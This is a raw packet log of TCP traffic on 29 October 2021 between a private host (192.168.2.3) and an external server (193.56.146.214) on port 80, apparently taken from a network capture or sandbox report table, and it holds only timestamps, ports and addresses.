Oct 29, 2021 14:11:03.649235010 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649236917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649275064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649310112 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649312973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649349928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649386883 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649386883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649425030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649461031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649465084 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649497986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649533987 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649534941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649573088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649611950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649612904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649648905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649686098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649688959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649724007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649759054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649761915 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649796963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649831057 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649835110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649872065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649907112 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649910927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649947882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649986982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649986982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650024891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650060892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650063038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.650100946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650135040 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.650137901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650176048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650212049 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.650214911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650249958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650286913 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.650290966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650329113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650362968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.650365114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650403976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.650439024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.695147991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.695207119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.695247889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.695272923 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.695286989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.695339918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717466116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717521906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717560053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717588902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717598915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717638016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717648983 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717678070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717716932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717752934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717756987 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717792034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717829943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717866898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717866898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717885017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717905998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717947006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.717961073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.717987061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718027115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718035936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718067884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718106031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718116999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718147993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718184948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718199015 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718224049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718261003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718270063 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718300104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718339920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718344927 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718375921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718415976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718422890 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718455076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718491077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718504906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718529940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718568087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718575954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718607903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718646049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718672037 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718683004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718723059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718739986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718760967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718796968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718815088 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718836069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718874931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718919992 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.718923092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718962908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.718976021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719000101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719038010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719053030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719078064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719114065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719151974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719158888 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719189882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719201088 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719227076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719264030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719278097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719301939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719340086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719347954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719379902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719417095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719429016 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719454050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719491959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719497919 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719528913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719566107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719582081 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719604969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719643116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719651937 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719681978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719717979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719727039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719755888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719794035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719809055 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719830036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719868898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719875097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719906092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719945908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.719954014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.719985962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720021963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720036983 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720060110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720098019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720108032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720134020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720170975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720177889 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720208883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720247030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720253944 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720284939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720320940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720338106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720369101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720407009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720417976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720444918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720482111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720495939 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720520020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720557928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720567942 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720597029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720633984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720642090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720671892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720709085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720717907 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720745087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720782995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720798969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720819950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720870972 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.720890045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720943928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720987082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.720992088 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721023083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721060991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721076012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721098900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721133947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721148014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721170902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721208096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721221924 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721246004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721285105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721291065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721321106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721359015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721368074 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721396923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721432924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721461058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721471071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721508026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721514940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721546888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721585989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721599102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721621990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721658945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721662998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721697092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721733093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721746922 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721771002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721785069 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721807957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721821070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721847057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721860886 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721885920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721894026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721921921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721929073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721961975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.721966982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.721999884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722007036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722035885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722043991 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722074032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722093105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722111940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722111940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722150087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722153902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722188950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722225904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722239017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722263098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722301006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722302914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722311020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722315073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722337008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722378016 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722381115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722397089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722419024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722423077 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722456932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722495079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722502947 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722529888 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722531080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722536087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722568989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722584009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722608089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722616911 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722645044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.722651958 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.722687960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762432098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762485027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762523890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762536049 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762562990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762572050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762578964 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762604952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762619019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762645960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.762654066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.762692928 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789696932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789755106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789782047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789796114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789818048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789838076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789859056 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789877892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789895058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789918900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789928913 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.789963961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.789967060 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790003061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790035009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790060043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790092945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790103912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790110111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790142059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790155888 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790182114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790195942 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790220976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790230989 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790261030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790270090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790301085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790311098 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790338039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790350914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790376902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790388107 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790416956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790430069 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790453911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790467978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790493011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790501118 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790532112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790540934 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790592909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790612936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790633917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790652990 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790673971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790688038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790714025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790721893 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790754080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790791988 CEST	80	50094	193.56.146.214	192.168.2.3
